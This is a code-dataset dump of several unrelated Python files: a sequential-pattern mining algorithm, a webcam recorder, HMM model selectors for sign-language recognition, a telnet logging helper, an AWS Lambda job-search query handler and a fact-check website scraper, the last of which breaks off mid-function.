pattern), end='')\n if print_status:\n print('\\rTRASE - Explored: %d\\tPruned: %d' % (self.explored, self.pruned), end='')\n self.explored += 1\n\n is_closed = True\n candidates = list(self.XMap[pattern[-1]])\n\n # Compute matches for each\n cand_supports = {}\n cand_matches = {}\n for candidate in candidates:\n # Matches\n diff = self.idList[candidate] - r_loc\n with np.errstate(invalid='ignore'):\n matches = (diff > 0) & (diff <= self.max_gap)\n cand_matches[candidate] = matches\n\n # Support is defined as sup_(q) * |q|\n support = (sum(matches) / self.n_traces)\n # support = (sum(matches) / self.n_traces) * np.log(pattern_size + self.phase_size[candidate])\n # support = (sum(matches) / self.n_traces) * np.log(len(pattern) + 1)\n cand_supports[candidate] = support\n\n if support >= que_support:\n is_closed = False\n\n if is_closed:\n # score = que_support * len(pattern)\n score = que_support * np.sum([len(self.ids[x]) for x in pattern])\n\n # score = que_support * np.log(len(pattern))\n # score = que_support * np.log(sum([len(self.ids[x]) for x in pattern]))\n if score > best_score:\n best_score = score\n else:\n self.pruned += 1\n return\n\n # Sort search space by support\n ordered_candidates = sorted(cand_supports.items(), key=lambda x: (x[1], -x[0]), reverse=True)\n for candidate, support in ordered_candidates:\n extended_pattern = pattern + [candidate]\n matches = cand_matches[candidate]\n\n if support <= self.min_support:\n continue\n\n # Check if candidate sequence is subsequence of found patterns\n skip_candidate = False\n for p in closed_patterns:\n if (p.support >= que_support) & is_subsequence(extended_pattern, p.pattern):\n skip_candidate = True\n break\n if skip_candidate:\n self.pruned += 1\n continue\n\n xl_loc = np.full(self.n_traces, np.nan)\n xr_loc = np.full(self.n_traces, np.nan)\n xl_loc[matches] = l_loc[matches]\n xr_loc[matches] = self.idList[candidate][matches]\n self.__extend_pattern(closed_patterns, extended_pattern, xl_loc, xr_loc, support, best_score)\n\n if is_closed:\n should_add = True\n for p in closed_patterns:\n if (p.support >= que_support) & (is_subsequence(pattern, p.pattern)):\n should_add = False\n break\n if should_add:\n closed_patterns.add(self.Pattern(pattern, l_loc, r_loc, que_support, score))\n\n # Find maximum sequential pattern given the starting element\n # Returns: Pattern, l_loc, r_loc, support\n def extend_pattern(self, que_idx, Z, print_status=False):\n closed_patterns = set()\n que_idlist = self.idList[que_idx]\n que_support = self.phase_support[que_idx]\n\n for z in Z:\n if (z.support >= que_support) & (que_idx in z.pattern):\n return []\n\n self.__extend_pattern(closed_patterns, [que_idx], que_idlist, que_idlist, que_support, 0, print_status)\n return list(closed_patterns)\n\ndef distance(com1, com2):\n return (len(com1 - com2) + len(com2 - com1)) / (len(com1) + len(com2))\n\ndef compute_distance_matrix(seq):\n n_seq = len(seq)\n dist_mat = np.zeros((n_seq, n_seq))\n for i in range(n_seq-1):\n que = seq[i]\n for j in range(i+1, n_seq):\n dist_mat[i,j] = distance(que, seq[j])\n dist_mat += dist_mat.T\n return dist_mat\n\ndef is_subsequence(query, base):\n # For strictly subsequences (a_i = b_j, a_i+1 = b_j+1, ...)\n # l_q = len(query)\n # l_b = len(base)\n # if l_q > l_b:\n # return False\n # for i in range(l_b):\n # if base[i:i + l_q] == query:\n # return True\n # return False\n\n # For normal subsequences\n m = len(query)\n n = len(base)\n i = j = 0\n\n while j < m and i < n:\n if query[j] == base[i]:\n j = j + 1\n i = i + 1\n\n # If all characters of str1 matched, then j is equal to m\n return j == m\n\ndef is_intersect(A, B):\n with np.errstate(invalid='ignore'):\n return any((A.r_loc >= B.l_loc) & (B.r_loc >= A.l_loc))\n\ndef generateSubgraphs(vertex_list, adjacency_list):\n subgraphs = []\n freeVertices = list(np.arange(len(vertex_list)))\n while freeVertices:\n freeVertex = freeVertices.pop()\n subgraph = _constructSubgraph(freeVertex, adjacency_list, [freeVertex])\n freeVertices = [vertex for vertex in freeVertices if vertex not in subgraph]\n subgraphs.append(subgraph)\n return subgraphs\n\ndef _constructSubgraph(vertex, adjacencyList, subgraph):\n neighbors = [vertex for vertex in adjacencyList[vertex] if vertex not in subgraph]\n if (len(neighbors) == 0):\n return subgraph\n else:\n subgraph = subgraph + neighbors\n for vertex in neighbors:\n subgraph = _constructSubgraph(vertex, adjacencyList, subgraph)\n return subgraph\n\ndef _incumb(vertexWeight, adjacencyList):\n N = len(vertexWeight)\n\n X = np.zeros(N, dtype=bool)\n for i in range(N):\n if (len(adjacencyList[i]) == 0):\n X[i] = True\n\n Z = np.zeros(N)\n for i in range(N):\n Z[i] = vertexWeight[i] - np.sum(vertexWeight[list(adjacencyList[i])])\n\n freeVertices = np.where(X == 0)[0]\n while True:\n if len(freeVertices) == 0:\n break;\n imin = freeVertices[np.argmax(Z[freeVertices])]\n X[imin] = True\n freeVertices = freeVertices[freeVertices != imin]\n X[adjacencyList[imin]] = False\n freeVertices = freeVertices[~np.isin(freeVertices, adjacencyList[imin])]\n for i in freeVertices:\n Z[i] = vertexWeight[i] - np.sum(vertexWeight[np.intersect1d(freeVertices, adjacencyList[i])])\n return X\n\ndef _calculateLB(X, vertexWeight, adjacencyList, visitedVertices=[]):\n neighbors = np.array([], dtype=int)\n if (len(adjacencyList[np.where(X == 1)[0]]) > 0):\n neighbors = reduce(np.union1d, adjacencyList[np.where(X == 1)[0]])\n if (len(visitedVertices) > 0):\n neighbors = np.append(neighbors, visitedVertices[np.where(X[visitedVertices] == False)])\n neighbors = np.unique(neighbors)\n neighbors = np.array(neighbors, dtype=int)\n wj = np.sum(vertexWeight[neighbors])\n return -1 * (np.sum(vertexWeight) - wj)\n\ndef _BBND(vertexWeight, adjacencyList, LB, OPT_X):\n N = len(vertexWeight)\n X = np.zeros(N)\n X[:] = np.nan\n visitedVertices = np.array([], dtype=int)\n OPT = np.sum(vertexWeight[OPT_X == 1])\n prob = {'X': [], 'visitedVertices': []}\n sub_probs = []\n\n while True:\n if (np.sum(np.isnan(X)) == 0):\n if (np.sum(vertexWeight[np.where(X == 1)[0]]) > OPT):\n OPT = np.sum(vertexWeight[np.where(X == 1)[0]])\n OPT_X = X\n if (len(sub_probs) > 0):\n prob = sub_probs.pop()\n X = prob['X']\n visitedVertices = prob['visitedVertices']\n else:\n break\n\n for i in range(N):\n if (~np.any(X[list(adjacencyList[i])])):\n X[i] = 1\n if (not i in visitedVertices):\n visitedVertices = np.append(visitedVertices, i)\n\n Z = np.zeros(N)\n for i in range(N):\n Z[i] = vertexWeight[i] - np.sum(vertexWeight[list(adjacencyList[i])])\n if (len(visitedVertices) > 0):\n Z[visitedVertices] = np.inf\n imin = np.argmin(Z)\n\n visitedVertices = np.append(visitedVertices, imin)\n\n X[imin] = 0\n LB0 = _calculateLB(X, vertexWeight, adjacencyList, visitedVertices)\n\n X[imin] = 1\n LB1 = _calculateLB(X, vertexWeight, adjacencyList, visitedVertices)\n\n if (LB0 < LB1):\n if (LB1 < LB):\n X[imin] = 1\n prob['X'] = X.copy()\n prob['visitedVertices'] = visitedVertices.copy()\n\n prob['X'][list(adjacencyList[imin])] = 0\n neighbors = adjacencyList[imin]\n for i in neighbors:\n if (not i in prob['visitedVertices']):\n prob['visitedVertices'] = np.append(prob['visitedVertices'], i)\n if (np.sum(np.isnan(prob['X'])) < 0):\n sub_probs.append(prob.copy())\n\n X[imin] = 0\n else:\n if (LB0 < LB):\n X[imin] = 0\n prob['X'] = X.copy()\n prob['visitedVertices'] = visitedVertices.copy()\n if (np.sum(np.isnan(prob['X'])) < 0):\n sub_probs.append(prob.copy())\n X[imin] = 1\n X[list(adjacencyList[imin])] = 0\n neighbors = adjacencyList[imin]\n for i in neighbors:\n if (not i in visitedVertices):\n visitedVertices = np.append(visitedVertices, i)\n return OPT_X\n\n\ndef MWIS(vertexWeight, adjacencyList):\n '''\n :param vertexWeight: List of real-valued vertex weight\n :param adjacencyList: List of adjacency vertices\n :return: Maximum sum of weights of the independent set\n :Note:\n This is the implementation of the follow publication:\n Pardalos, P. M., & Desai, N. (1991). An algorithm for finding a maximum weighted independent set in an arbitrary graph.\n International Journal of Computer Mathematics, 38(3-4), 163-175.\n '''\n X = _incumb(vertexWeight, adjacencyList)\n LB = _calculateLB(X, vertexWeight, adjacencyList)\n return _BBND(vertexWeight, adjacencyList, LB, X)\n\n\ndef TRASE(seq_db, min_sup, min_size=1, max_gap=1, out_q=None, print_status=False):\n # Build ID List\n id_list = IdList()\n id_list.build_list(seq_db, min_sup, max_gap)\n\n # Find Closed Sequential Pattern\n Z = [] # Maximum Sequential Pattern\n\n # Generate and sort search_space by support\n # search_space = np.argsort(list(id_list.phase_support.values()))[::-1]\n search_space = np.lexsort((np.arange(len(id_list.ids)), np.negative(list(id_list.phase_support.values()))))\n\n # Ignore Ids less than min_support support\n search_space = list(search_space[:np.sum(np.array(list(id_list.phase_support.values())) >= min_sup)])\n\n while len(search_space) > 0:\n que_idx = search_space.pop(0)\n patterns = id_list.extend_pattern(que_idx, Z)\n\n # Check if pattern satisfy minimum number of methods\n for i in range(len(patterns) - 1, -1, -1):\n no_of_methods = sum([len(id_list.ids[x]) for x in patterns[i].pattern])\n if no_of_methods < min_size:\n del patterns[i]\n\n # Keep closed pattern only\n for i in range(len(patterns) - 1, -1, -1):\n for j in range(len(patterns)):\n if i == j:\n continue\n # p[i] and p[j] have the same support and p[i] is a subsequence of p[j]\n if (patterns[i].support == patterns[j].support) & (\n is_subsequence(patterns[i].pattern, patterns[j].pattern)):\n # print('p[%d] is a subsequence of p[%d]: (%.2f: %s) and (%.2f: %s)' % (\n # i, j, patterns[i].support, patterns[i].pattern, patterns[j].support, patterns[j].pattern))\n del patterns[i]\n break\n\n # Pattern is Valid and added to Z\n Z += patterns\n\n if out_q is None:\n return (id_list, Z)\n else:\n out_q.put((id_list, Z))\n\n return None","sub_path":"code/TRASE_v2.py","file_name":"TRASE_v2.py","file_ext":"py","file_size_in_byte":15770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"96703403","text":"import cv2\n\n\nvideo=cv2.VideoCapture(0)\nframe_width = int(video.get(3))\nframe_height = int(video.get(4))\nout = cv2.VideoWriter('outpy.avi',cv2.VideoWriter_fourcc('M','J','P','G'), 25, (frame_width//2,frame_height//2))\nidx = 0\nwhile(video.isOpened()):\n idx+=1\n ret,frame=video.read()\n video.set(cv2.CAP_PROP_FOCUS, 20)\n\n frame = cv2.resize(frame,(frame.shape[1]//2,frame.shape[0]//2))\n out.write(frame)\n cv2.imshow('lol',frame)\n cv2.waitKey(1000//25)\n\n if(idx==150):\n cap.release()\n out.release()\n break\n","sub_path":"get_video.py","file_name":"get_video.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"244065806","text":"import math\nimport statistics\nimport warnings\n\nimport numpy as np\nfrom numpy import asarray\nfrom hmmlearn.hmm import GaussianHMM\nfrom sklearn.model_selection import KFold\nfrom asl_utils import combine_sequences\n\nclass ModelSelector(object):\n '''\n base class for model selection (strategy design pattern)\n '''\n\n def __init__(self, all_word_sequences: dict, all_word_Xlengths: dict, this_word: str,\n n_constant=3,\n min_n_components=2, max_n_components=10,\n random_state=14, verbose=False):\n self.words = all_word_sequences\n self.hwords = all_word_Xlengths\n self.sequences = all_word_sequences[this_word]\n self.X, self.lengths = all_word_Xlengths[this_word]\n self.this_word = this_word\n self.n_constant = n_constant\n self.min_n_components = min_n_components\n self.max_n_components = max_n_components\n self.random_state = random_state\n self.verbose = verbose\n\n def select(self):\n raise NotImplementedError\n\n def base_model(self, num_states):\n # with warnings.catch_warnings():\n warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n # warnings.filterwarnings(\"ignore\", category=RuntimeWarning)\n try:\n hmm_model = GaussianHMM(n_components=num_states, covariance_type=\"diag\", n_iter=1000, random_state=self.random_state, verbose=False).fit(self.X, self.lengths)\n if self.verbose:\n print(\"model created for {} with {} states\".format(self.this_word, num_states))\n return hmm_model\n except:\n if self.verbose:\n print(\"failure on {} with {} states\".format(self.this_word, num_states))\n return None\n\n\nclass SelectorConstant(ModelSelector):\n \"\"\" select the model with value self.n_constant\n\n \"\"\"\n\n def select(self):\n \"\"\" select based on n_constant value\n\n :return: GaussianHMM object\n \"\"\"\n best_num_components = self.n_constant\n return self.base_model(best_num_components)\n\n\nclass SelectorBIC(ModelSelector):\n \"\"\" select the model with the lowest Baysian Information Criterion(BIC) score\n\n http://www2.imm.dtu.dk/courses/02433/doc/ch6_slides.pdf\n Bayesian information criteria: BIC = -2 * logL + p * logN\n L is likelihood of fitted model\n p is complexity\n p * logN is the penalty term, increases with higher p to penalise complexity and avoid overfitting\n N is size of data set\n\n -2 * logL : decreazsed with higher p\n p * logN : increases with higher p\n\n SelectorBIC takes argument of ModelSelector instance of base class with attributes such as: this_word, min_n_components, max_n_components\n Loop from min_n_components to max_n_components\n Find the lowest BIC score as the better model\n\n Maximising the likelihood of data and penalising large-size models\n Use of penalty term instead of cross-validation\n\n\n Parameters of HMM are of 2 types, transition probabilities and emission probabilities\n \"\"\"\n\n def select(self):\n \"\"\" select the best model for self.this_word based on\n BIC score for n between self.min_n_components and self.max_n_components\n\n :return: GaussianHMM object\n \"\"\"\n warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n\n min_bic_score = None\n min_model = None\n\n for num_states in range(self.min_n_components, self.max_n_components + 1):\n try:\n hmm_model = self.base_model(num_states)\n # calculate the score of the model\n log_likelihood = hmm_model.score(self.X, self.lengths)\n\n # num_free_params = initial_state_occupation_probs + transition_probs + emission_probs\n # = num_states + num_states * (num_states - 1) + (num_states * num_data_points * 2)\n # = (num_states ** 2) + (2 * num_states * num_data_points)\n num_data_points = sum(self.lengths)\n num_feature = len(self.X[0])\n num_free_params = (num_states ** 2) + (2 * num_states * num_feature) - 1\n\n score_bic = -2*log_likelihood + num_free_params * math.log(num_data_points)\n\n if min_bic_score is None or min_bic_score > score_bic:\n min_bic_score = score_bic\n min_model = hmm_model\n\n except Exception as e:\n # print('except', e)\n pass\n # Lower the BIC score the better the model\n return min_model\n\n\nclass SelectorDIC(ModelSelector):\n ''' select best model based on Discriminative Information Criterion\n\n Biem, Alain. \"A model selection criterion for classification: Application to hmm topology optimization.\"\n Document Analysis and Recognition, 2003. Proceedings. Seventh International Conference on. IEEE, 2003.\n http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.58.6208&rep=rep1&type=pdf\n DIC = log(P(X(i)) - 1/(M-1)SUM(log(P(X(all but i))\n\n DIC finds the number of components where the difference is the largest. \n The model gives a high likelihood (small negative number) to the original word in order to distinguish one word from other competing words\n and low likelihood (very big negative number) to the other words\n DIC = log(P(X(i)) - 1/(M-1)SUM(log(P(X(all but i))\n = Log likelihood of the data belonging to model - average of anti log likelihood of data X and model M\n = log(P(original word)) - average(log(P(other words)))\n log(P(X(i)) is model's score for the current word in hmmlearn\n\n Higher the DIC score the better the model\n\n The model takes attributes of: this_word, min_n_components, max_n_components\n Loop through min_n_components to max_n_components\n Find the highest BIC score as the better model\n '''\n\n def select(self):\n warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n\n max_score_dic = None\n max_model = None\n\n for num_states in range(self.min_n_components, self.max_n_components+1):\n try:\n hmm_model = self.base_model(num_states)\n # calculate the score of the model\n score = hmm_model.score(self.X, self.lengths)\n\n total_score = 0.0\n\n for word in self.hwords:\n if word != self.this_word:\n X, lengths = self.hwords[word]\n total_score = total_score + hmm_model.score(X, lengths)\n\n dic_score = score - (total_score/(len(self.words) - 1))\n\n if max_score_dic is None or max_score_dic < dic_score:\n max_score_dic = dic_score\n max_model = hmm_model\n except Exception as e:\n # print('self.hwords', self.hwords)\n # print('except', e)\n pass\n\n return max_model\n\n\nclass SelectorCV(ModelSelector):\n ''' select best model based on average log Likelihood of cross-validation folds\n\n CV divides the training set into subsets, uses each subset to find the best model\n '''\n\n def select(self):\n warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n\n max_score = None\n max_model = None\n\n for num_states in range(self.min_n_components, self.max_n_components + 1):\n try:\n total_score = 0.0\n counter = 0\n final_model = None\n\n if len(self.sequences) >= 2:\n k_folds = min(len(self.sequences), 3)\n split_method = KFold(shuffle=True, n_splits=k_folds)\n parts = split_method.split(self.sequences)\n\n for train_index, test_index in parts:\n\n X_train, lengths_train = asarray(combine_sequences(train_index, self.sequences))\n\n X_test, lengths_test = asarray(combine_sequences(test_index, self.sequences))\n\n hmm_model = self.base_model(num_states)\n log_likelihood = GaussianHMM(n_components=num_states, covariance_type=\"diag\", n_iter=1000, random_state=self.random_state, verbose=False).fit(X_train, lengths_train)\n\n total_score = total_score+log_likelihood.score(X_test, lengths_test)\n\n counter = counter + 1\n score = total_score/counter\n\n else:\n final_model = GaussianHMM(n_components=num_states, covariance_type=\"diag\", n_iter=1000, random_state=self.random_state, verbose=False).fit(self.X, self.lengths)\n score = hmm_model.score(self.X, self.lengths)\n if max_score is None or max_score < score:\n max_score = score\n if final_model is None:\n final_model = GaussianHMM(n_components=num_states, covariance_type=\"diag\", n_iter=1000, random_state=self.random_state, verbose=False).fit(self.X, self.lengths)\n max_model = final_model\n except Exception as e:\n # print('except', e)\n pass\n\n return max_model\n","sub_path":"my_model_selectors.py","file_name":"my_model_selectors.py","file_ext":"py","file_size_in_byte":9320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"101289687","text":"import telnetlib, datetime\r\n\r\n\r\n#Функция чтения данных по telnet и записи их в файл\r\ndef read(telnet, path, file_name):\r\n \r\n #Создаем файл на запись\r\n with open(f'{path}\\{datetime.date.today()} {file_name}.txt', 'w') as f:\r\n data = b''\r\n \r\n #Читаем и пишем построчно, пока не наткнемся на символ >\r\n while b'>' not in data:\r\n \r\n #Пишем очередную строку в переменную data\r\n data = telnet.read_very_eager()\r\n \r\n #Если строка в data не пустая - пишем в файл\r\n if data: \r\n f.write(data.decode() + '\\n')\r\n \r\n #Если строка содержит --More--, то передаем нажатие пробела \r\n if b' --More-- ' in data:\r\n write(telnet, ' \\r\\n')\r\n \r\n\r\n#Функция записи строки в telnet\r\ndef write(telnet, text):\r\n telnet.write(text.encode('ascii'))\r\n\r\n\r\n#Функция записи текста(логов самой программы) в файл\r\ndef log_it(path, log_text):\r\n try:\r\n with open(f'{path}\\my_log.txt', 'a') as log_file:\r\n log_file.write(f'{log_text}\\r\\n')\r\n except:\r\n None\r\n\r\n\r\n#Функция записи лога об ошибке\r\ndef log_error(path, text, excpt):\r\n log_it(path, f'{text} <-------')\r\n log_it(path, excpt)\r\n","sub_path":"LoggerManCore.py","file_name":"LoggerManCore.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"278781463","text":"import os\nimport json\nimport psycopg2\nfrom datetime import datetime\nimport re\n\nfrom ndeutil import *\n\n\ndef lambda_handler(event, context):\n \n if 'resource' in event:\n if event.get('body') is None:\n return createErrorResponse(400, \"Validation error\", \n \"body (search json) required\")\n if isinstance(event.get('body'), dict):\n inputBody = event.get('body')\n else:\n inputBody = json.loads(event.get('body'))\n else:\n inputBody = event\n \n inQuery = inputBody.get('query')\n if inQuery is None:\n return createErrorResponse(400, \"Validation error\", \"Must specify query\")\n print(\"inQuery\", inQuery)\n \n whereClauses = []\n queryParams = {}\n \n # validate and format jobStatus\n if inQuery.get('jobStatus') is not None:\n if not isinstance(inQuery.get('jobStatus'), list):\n inQuery['jobStatus'] = [inQuery.get('jobStatus')]\n for status in inQuery.get('jobStatus'):\n if status not in ['QUEUED', 'COMPLETE', 'FAILED', 'RUNNING', 'COPYINPUT']:\n return createErrorResponse(400, \"Validation error\", \"Invalid jobStatus: \" + status)\n whereClauses.append(\" odJobStatus in %(jobStatus)s \")\n queryParams['jobStatus'] = tuple(inQuery['jobStatus'])\n print(\"whereClauses\", whereClauses)\n \n # validate and format algorithm\n algo = inQuery.get('algorithm')\n if algo is not None:\n if algo.get('name') is None or algo.get('version') is None:\n return createErrorResponse(400, \"Validation error\", \"Both name and version required for algorithm\")\n whereClauses.append(\" odalgorithmname = %(algorithmName)s \")\n whereClauses.append(\" odalgorithmversion = %(algorithmVersion)s \")\n queryParams['algorithmName'] = algo.get('name')\n queryParams['algorithmVersion'] = algo.get('version')\n \n # validate and format timeRanges\n if inQuery.get('enqueueTime') is not None:\n validateTimeRange(inQuery.get('enqueueTime'), 'enqueueTime', 'odjobenqueuetime', whereClauses, queryParams)\n if inQuery.get('startTime') is not None:\n validateTimeRange(inQuery.get('startTime'), 'startTime', 'odjobstarttime', whereClauses, queryParams)\n if inQuery.get('completionTime') is not None:\n validateTimeRange(inQuery.get('completionTime'), 'completionTime', 'odjobcompletiontime', whereClauses, queryParams)\n \n print(\"whereClauses\", whereClauses)\n print(\"queryParams\", queryParams)\n \n # validate the \"result\" portion of the request\n inResult = inputBody.get('result')\n print(\"inResult\", inResult)\n if inResult is None:\n print(\"No result output result format specified, using defaults (enqueueTime desc)\")\n orderBy = \" ORDER BY odjobenqueuetime desc \"\n limit = \" LIMIT 100 \"\n else:\n if inResult.get('sort') is not None:\n if not isinstance(inResult.get('sort'), list):\n return createErrorResponse(400, \"Validation error\", \"sort should be an array of \" + \n \"{\\\"attr1\\\": \\\"asc\\\" | \\\"desc\\\"}\")\n temp = []\n for sortItem in inResult.get('sort'):\n (attrName, sortDir), = sortItem.items()\n if not re.match('^\\w+$', attrName):\n return createErrorResponse(400, \"Validation error\", \"invalid sort attr: \" + attrName)\n if sortDir not in ['asc', 'desc']:\n return createErrorResponse(400, \"Validation error\", \"sort value must be: asc | desc\")\n temp.append(attrName + \" \" + sortDir)\n orderBy = \" ORDER BY \" + ', '.join(temp)\n\n if inResult.get('limit') is not None:\n limit = inResult.get('limit')\n if not isinstance(limit, dict):\n return createErrorResponse(400, \"Validation error\", \"limit must contain from and size keys\")\n if limit.get('from') is None or limit.get('size') is None:\n return createErrorResponse(400, \"Validation error\", \"from and size are required\")\n if not isinstance(limit.get('from'), int) or not isinstance(limit.get('size'), int):\n return createErrorResponse(400, \"Validation error\", \"from and size should be numeric\")\n limit = \" LIMIT \" + str(limit.get('size')) + \" OFFSET \" + str(limit.get('from'))\n \n try:\n print('Connecting to Postgres...')\n conn = psycopg2.connect(\n host=os.environ['RD_HOST'],\n dbname=os.environ['RD_DBNM'],\n user=os.environ['RD_USER'],\n password=os.environ['RD_PSWD']\n )\n cur = conn.cursor()\n \n query = cur.mogrify(\"SELECT odjobid, odalgorithmname, odalgorithmversion, odjobstatus, odjobenqueuetime, \" + \n \"odjobstarttime, odjobcompletiontime FROM ondemandjob WHERE \" + ' AND '.join(whereClauses) +\n orderBy + limit, queryParams)\n print(\"query:\", query)\n cur.execute(query)\n \n rows = cur.fetchall()\n\n resultArray = []\n \n for row in rows:\n resultArray.append( \n {\"jobId\" : row[0], \n \"algorithmName\" : row[1], \n \"algorithmVersion\" : row[2],\n \"jobStatus\": row[3],\n \"enqueueTime\": row[4].strftime(\"%Y-%m-%dT%H:%M:%S\"),\n \"startTime\": row[5].strftime(\"%Y-%m-%dT%H:%M:%S\"),\n \"completionTime\": row[6].strftime(\"%Y-%m-%dT%H:%M:%S\")\n } )\n \n print(resultArray)\n\n cur.close()\n conn.rollback()\n\n response = {\n \"isBase64Encoded\": True,\n \"statusCode\": 200,\n \"headers\": {\n \"Content-Type\": \"application/json\"\n },\n \"body\": json.dumps({\n \"results\" : resultArray\n })\n }\n return response\n except psycopg2.Error as e:\n conn.rollback()\n \n eStr = str(e)\n print(\"Postgres ERROR: \" + eStr)\n m = re.match('^column (.*does not exist)', eStr)\n if m:\n return createErrorResponse(400, \"Validation error\", m.group(1))\n except Exception as e:\n conn.rollback()\n \n print(\"ERROR encountered querying:\", e)\n return createErrorResponse(500, \"Internal error\", \n \"An exception was encountered, please try again later.\")\n finally:\n conn.close()\n \n \ndef validateTimeRange(timeInputVal, timeParamName, timeColumnName, whereClauses, queryParams):\n \n if not isinstance(timeInputVal, dict):\n return createErrorResponse(400, \"Validation error\", timeParamName + \" must contain lte or gte keys (or both)\")\n \n temp = []\n try:\n if timeInputVal.get('lte') is not None:\n lte = datetime.strptime(timeInputVal.get('lte'),'%Y%m%dT%H%M%S.%fZ')\n temp.append(\" \" + timeColumnName + \" <= %(\" + timeParamName + \"Lte)s \")\n queryParams[timeParamName + \"Lte\"] = lte\n if timeInputVal.get('gte') is not None:\n gte = datetime.strptime(timeInputVal.get('gte'),'%Y%m%dT%H%M%S.%fZ')\n temp.append(\" \" + timeColumnName + \" >= %(\" + timeParamName + \"Gte)s \")\n queryParams[timeParamName + \"Gte\"] = gte\n \n if lte is None and gte is None:\n return createErrorResponse(400, \"Validation error\", timeParamName + \" must contain lte or gte keys (or both)\")\n \n if len(temp) == 2 and lte < gte:\n whereClauses.append('OR'.join(temp))\n else:\n whereClauses.extend(temp)\n \n print(whereClauses)\n except ValueError as ve:\n return createErrorResponse(400, \"Validation error\", \"startTime and endTime must be formatted as: YYYYMMDDTHHmmSS.sssZ\")\n","sub_path":"Lambdas/jobEPG/lambda_functions/.~c9_invoke_z5g6wx.py","file_name":".~c9_invoke_z5g6wx.py","file_ext":"py","file_size_in_byte":7821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"491045730","text":"from logging import fatal\nfrom types import new_class\nimport requests\nfrom bs4 import BeautifulSoup\nimport re\nfrom colorama import Fore, Back, Style,init\n\n\ninit(convert=True)\n\n\n\"\"\"\n # Formatte le code html d'un objet en supprimant ses balises html\n # @param raw_html code html à formatter\n # @return le code html sans les balises html\n\"\"\"\ndef clear_text(raw_html):\n cleanr = re.compile('<.*?>')\n cleantext = re.sub(cleanr, '', raw_html)\n return cleantext\n\nclass Extracter:\n \"\"\"\n # Constructeur qui initialise l'url par le site web des surligneurs\n \"\"\"\n def __init__(self):\n self.url = 'https://lessurligneurs.eu/'\n \"\"\"\n # Permet de récupérer le contenu d'une page web au format objet HTML interprétable par python\n # @param url lien de la page à récupérer\n # @return le resulat d'une requete web sous format HTML\n \"\"\"\n def get_page(self, url):\n response = requests.request('GET', url)\n if not response.ok:\n print('Erreur dans le téléchargement de la page' + str(url))\n content = response.content.decode('utf-8')\n return content\n \n \"\"\"\n # Permet de récupérer tous les liens contenu dans un objet html\n # @param html_page objet html sur lequel on cherchera les liens\n # @return tous les liens d'une page html \n \"\"\"\n def get_url(self , html_page):\n soup = BeautifulSoup(self.get_page(html_page), 'lxml')\n return soup.find_all('a')\n \n \"\"\"\n # Récupére les articles et leurs informations contenus dans un objet html \n # @return toutes les informations concernant un ou plusieurs article(s) sous forme de liste\n \"\"\"\n def get_articles(self):\n #liste qui va contenir tout les articles \n Extracted_All =[]\n #on récupère tout les urls et on les regarde 1 par 1 \n all_url = self.get_url(self.url)\n cpt = 0\n tr = set ()\n for lien in all_url :\n #si le lien possede un titre cest que cest une page qui contient des articles sinon ca mene autre pas #pas intéressant\n if lien.h1 != None : \n page = BeautifulSoup(self.get_page(lien.get('href')), 'html5lib' )\n articles = page.find_all (\"div\", {\"class\": \"row\"},)\n #pour chaque article dans cette page qui contient plusieurs articles\n for article in articles:\n child = article\n #liste qui va contenir 1 article a la fin de boucle \n Extracted = []\n\n if child.find(\"div\", {\"class\": \"texte\"} ) != None :\n\n URL = lien.get('href')\n child = child.parent.parent\n #titre de l'article\n TITRE = str(clear_text(str(child.find('h1'))))\n #sous titre \n SUBTITRE = clear_text(str(child.h2))\n #lien de source vers larticle \n url_source = child.find(\"a\").get('href')\n Extracted.append(url_source)\n Extracted.append(TITRE)\n Extracted.append(SUBTITRE)\n tokens = clear_text (str (child.h2)).split(\"//\")\n final = []\n #liste des auteurs \n AuteursArticles = []\n for element in tokens: \n final.append( element.split(\",\"))\n for element in final :\n AuteursArticles.append( str(element[0]))\n \n Extracted.append(AuteursArticles)\n\n #liste des professions des auteurs de larticle \n ProfessionAuteursArticles = []\n for element in final : \n try:\n if ( any(char.isdigit() for char in element[1] ) == False ):\n ProfessionAuteursArticles.append(str ( element[1]))\n else:\n ProfessionAuteursArticles.append(\"Média\")\n except IndexError:\n continue \n\n Extracted.append(ProfessionAuteursArticles) \n \n #date publication article\n data = re.search(r'[0-9]*[0-9] [a-z]+ [0-9]*[0-9]*[0-9]*[0-9]*',clear_text (str (child.find(\"h2\"))))\n try:\n DatePublicationArticle = str (data)\n tokens = DatePublicationArticle.split(\",\")\n \n if len(tokens) == 3 :\n DatePublicationArticle = str (tokens[2]).replace( \"\\'>\" ,\"\")\n DatePublicationArticle = DatePublicationArticle.split(\"'\")[1]\n else: \n DatePublicationArticle = \" \"\n \n Extracted.append (DatePublicationArticle)\n except AttributeError:\n continue\n \n # categorie article \n try :\n Category = clear_text (str (child.find(\"button\", {\"class\": \"etiquette\"})))\n except AttributeError : \n Category = None \n Extracted.append (Category)\n\n #liste des auteurs du commentaire , liste des professions des auteurs et la date du commentaire \n AuteursCommentaire = []\n try :\n\n tokens = clear_text (str (child.find (\"div\" , {\"class\" : \"auteur\"} ))).split(\"//\")\n \n final = []\n for element in tokens: \n final.append( element.split(\",\"))\n for element in final : \n AuteursCommentaire.append (element[0])\n \n ProfessionAuteursCommentaire = []\n \n for element in final : \n try:\n ProfessionAuteursCommentaire.append(element[1])\n except IndexError:\n continue\n data = re.search(r'[0-9]*[0-9] [a-z]+ [0-9]*[0-9]*[0-9]*[0-9]*',clear_text (str (child.find (\"div\" , {\"class\" : \"auteur\"} ))))\n \n DateCommentaire = str (data)\n tokens = DateCommentaire.split (\",\")\n if len(tokens) == 3 :\n DateCommentaire= str (tokens[2]).replace( \"\\'>\" ,\"\")\n DateCommentaire = DateCommentaire.split(\"'\")[1]\n else: \n DateCommentaire = \" \"\n \n except AttributeError:\n continue\n \n \n 